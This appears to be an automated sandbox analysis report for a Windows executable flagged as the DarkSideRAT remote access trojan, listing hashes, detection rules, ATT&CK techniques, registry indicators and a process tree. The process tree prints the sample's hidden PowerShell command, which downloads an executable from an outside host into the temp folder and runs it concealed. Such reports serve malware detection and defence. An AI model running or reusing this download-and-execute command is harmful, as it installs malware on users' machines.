darksiderat | 671e568257ab7ac831652ccbdc4ec66d2c1665684993019a8c20fbea914da094

Analysis

max time kernel
149s
max time network
186s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/06/2026, 15:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Dimmi/x64/Release/Dimmi.exe
Size 998KB
Sample260604-s2vdmsaw2j
SHA256 671e568257ab7ac831652ccbdc4ec66d2c1665684993019a8c20fbea914da094
MD5 48027c48618dde7a151a4ce51d764eaa
SHA1 bafafc7e1a77257866ca919343b71d3e239b52f0
SHA512 274d854ae662d9d6548f6d4bb2c2d50edbe1dd3c61f582f42c653b5213d1d772048cd6fb2abf962693999d8d89c1337f96c903936bf0d67cf81c80ab9da1d550
SSDEEP 24576:ImiGd9olVga/0zfmYpiknYMDQLG/3dh+YW2:vuV9wmhknYLAh+z2
TLSH
T1A825CF45F7F441F8D17B9079D4A6AB1BFA3678480B308ADB23E445682FA77E04B76312
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution darksiderat trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 1 IoCs

resource	yara_rule
behavioral7/files/0x000a0000000246ee-186.dat	family_darksiderat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
42	3204	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3204	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
42	3204	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5788	BK141402.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1265531791\data.txt	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\da\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\es\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\lv\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\fil\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\cy\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\or\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_595213482\typosquatting_list.pb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\it\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\nl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\offscreendocument.html	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\page_embed_script.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\128.png	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\sr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\km\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\uz\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\ca\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\hu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\lt\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\es_419\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\vi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\ko\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\th\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\hi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\ar\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\ur\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\no\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\en_GB\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\pa\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\fr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\id\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\pl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\ru\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\dasherSettingSchema.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\mr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\am\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\kk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\cs\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\mk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\is\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\hr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\ja\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\sk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\sv\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1265531791\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\ro\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\bg\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\bn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Program Files\msedge_url_fetcher_3944_1837541291\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_106_1_0.crx	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\service_worker_bin_prod.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\ta\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\sw\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\sl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\az\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\fa\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\mn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1814112914\_locales\hy\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
944	msedge.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	msedge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134250613270882556"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3053180483-1881419501-3594244048-1000\{B1D2BB7B-0A4D-46D6-8F7D-322BE575BAC9}	msedge.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3204	powershell.exe
3204	powershell.exe
3204	powershell.exe
2120	msedge.exe
2120	msedge.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
664	Process not Found
664	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3944	msedge.exe
3944	msedge.exe
3944	msedge.exe
3944	msedge.exe
3944	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3204	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3944	msedge.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 4660	2368	Dimmi.exe	92
PID 4660 wrote to memory of 4896	4660	cmd.exe	93
PID 2368 wrote to memory of 2388	2368	Dimmi.exe	95
PID 4896 wrote to memory of 3204	4896	cmd.exe	96
PID 2368 wrote to memory of 380	2368	Dimmi.exe	97
PID 380 wrote to memory of 2360	380	cmd.exe	98
PID 2360 wrote to memory of 3944	2360	msedge.exe	100
PID 3944 wrote to memory of 2536	3944	msedge.exe	102
PID 3944 wrote to memory of 944	3944	msedge.exe	104
PID 3944 wrote to memory of 2896	3944	msedge.exe	105
PID 3944 wrote to memory of 2896	3944	msedge.exe	105
PID 3944 wrote to memory of 2896	3944	msedge.exe	105
PID 3944 wrote to memory of 1092	3944	msedge.exe	107
PID 3944 wrote to memory of 1092	3944	msedge.exe	107
PID 3944 wrote to memory of 5400	3944	msedge.exe	108
PID 3944 wrote to memory of 5400	3944	msedge.exe	108
PID 3944 wrote to memory of 5400	3944	msedge.exe	108
PID 3944 wrote to memory of 216	3944	msedge.exe	109
PID 3944 wrote to memory of 216	3944	msedge.exe	109
PID 3944 wrote to memory of 216	3944	msedge.exe	109
PID 3944 wrote to memory of 940	3944	msedge.exe	112
PID 3944 wrote to memory of 940	3944	msedge.exe	112
PID 3944 wrote to memory of 940	3944	msedge.exe	112
PID 3944 wrote to memory of 556	3944	msedge.exe	113
PID 3944 wrote to memory of 556	3944	msedge.exe	113
PID 3944 wrote to memory of 556	3944	msedge.exe	113
PID 3944 wrote to memory of 3516	3944	msedge.exe	115
PID 3944 wrote to memory of 3516	3944	msedge.exe	115
PID 3944 wrote to memory of 5756	3944	msedge.exe	116
PID 3944 wrote to memory of 5756	3944	msedge.exe	116
PID 3944 wrote to memory of 1956	3944	msedge.exe	117
PID 3944 wrote to memory of 1956	3944	msedge.exe	117
PID 2368 wrote to memory of 4916	2368	Dimmi.exe	118
PID 2368 wrote to memory of 3148	2368	Dimmi.exe	119
PID 3148 wrote to memory of 1652	3148	cmd.exe	120
PID 3204 wrote to memory of 5788	3204	powershell.exe	121
PID 3944 wrote to memory of 3528	3944	msedge.exe	126
PID 3944 wrote to memory of 2284	3944	msedge.exe	133
PID 3944 wrote to memory of 688	3944	msedge.exe	134
PID 3944 wrote to memory of 3416	3944	msedge.exe	135
PID 3944 wrote to memory of 3628	3944	msedge.exe	136
PID 3944 wrote to memory of 3628	3944	msedge.exe	136
PID 3944 wrote to memory of 1044	3944	msedge.exe	137
PID 3944 wrote to memory of 1044	3944	msedge.exe	137
PID 3944 wrote to memory of 3624	3944	msedge.exe	140
PID 3944 wrote to memory of 3624	3944	msedge.exe	140
PID 3944 wrote to memory of 5088	3944	msedge.exe	145
PID 3944 wrote to memory of 5088	3944	msedge.exe	145
PID 3944 wrote to memory of 2120	3944	msedge.exe	146
PID 3944 wrote to memory of 4604	3944	msedge.exe	152
PID 3944 wrote to memory of 4604	3944	msedge.exe	152
PID 2368 wrote to memory of 5384	2368	Dimmi.exe	153
PID 5384 wrote to memory of 5016	5384	cmd.exe	154

C:\Users\Admin\AppData\Local\Temp\Dimmi\x64\Release\Dimmi.exe
"C:\Users\Admin\AppData\Local\Temp\Dimmi\x64\Release\Dimmi.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK141402.exe; Start-Process -FilePath $env:TEMP\BK141402.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4660
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK141402.exe; Start-Process -FilePath $env:TEMP\BK141402.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4896
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK141402.exe; Start-Process -FilePath $env:TEMP\BK141402.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3204
    - - C:\Users\Admin\AppData\Local\Temp\BK141402.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK141402.exe"
        5⤵
        Executes dropped EXE
        
        PID:5788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://guns.lol/abdi
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://guns.lol/abdi
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2360
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch --single-argument https://guns.lol/abdi
      4⤵
      Drops file in Program Files directory
      Checks SCSI registry key(s)
      Checks processor information in registry
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3944
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x2ec,0x7ffcb1f9c188,0x7ffcb1f9c194,0x7ffcb1f9c1a0
        5⤵
        
        PID:2536
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1864,i,17422491139449206592,13950384980478781663,524288 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=2304 /prefetch:3
        5⤵
        System Time Discovery
        
        PID:944
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1756,i,121651776363088334,10074998148730062612,262144 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=1364 /prefetch:2
        5⤵
        
        PID:2896
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2440,i,9914871629477980129,1132154581504607619,524288 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=2632 /prefetch:8
        5⤵
        
        PID:1092
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3432,i,14419458287736975959,16689698415459318044,2097152 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:1
        5⤵
        
        PID:5400
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3436,i,9551012876885960378,8766729780208446109,2097152 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:1
        5⤵
        
        PID:216
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4876,i,6325649965328502141,18063157821509326468,2097152 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=4912 /prefetch:1
        5⤵
        
        PID:940
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4864,i,7663445065259458097,3455910877239157285,2097152 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=5068 /prefetch:1
        5⤵
        
        PID:556
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5116,i,13392455188377219666,16894799784843037845,524288 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=5200 /prefetch:8
        5⤵
        
        PID:3516
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3308,i,6666252141580971825,2905944108138516969,524288 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:8
        5⤵
        
        PID:5756
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5436,i,6983333553784396043,6175107249696374544,524288 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:8
        5⤵
        
        PID:1956
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6040,i,15592903587593994770,6208161475907795225,524288 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=6036 /prefetch:8
        5⤵
        
        PID:3856
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6040,i,15592903587593994770,6208161475907795225,524288 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=6036 /prefetch:8
        5⤵
        
        PID:3528
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6032,i,7547939603062715642,14856226010949566153,524288 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=6384 /prefetch:8
        5⤵
        
        PID:2284
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6392,i,14683249032418118628,12532968199086729631,524288 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=6808 /prefetch:8
        5⤵
        
        PID:688
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6024,i,16854637367378424435,139974956493625765,524288 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=6028 /prefetch:8
        5⤵
        
        PID:3416
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6384,i,15005564734063963807,10529295001367439616,524288 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=6772 /prefetch:8
        5⤵
        
        PID:3628
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6384,i,9854068999599945461,17609281108246070926,524288 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=6824 /prefetch:8
        5⤵
        
        PID:1044
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1208,i,2423495349589315148,1314929809310421995,524288 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=5612 /prefetch:8
        5⤵
        
        PID:3624
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
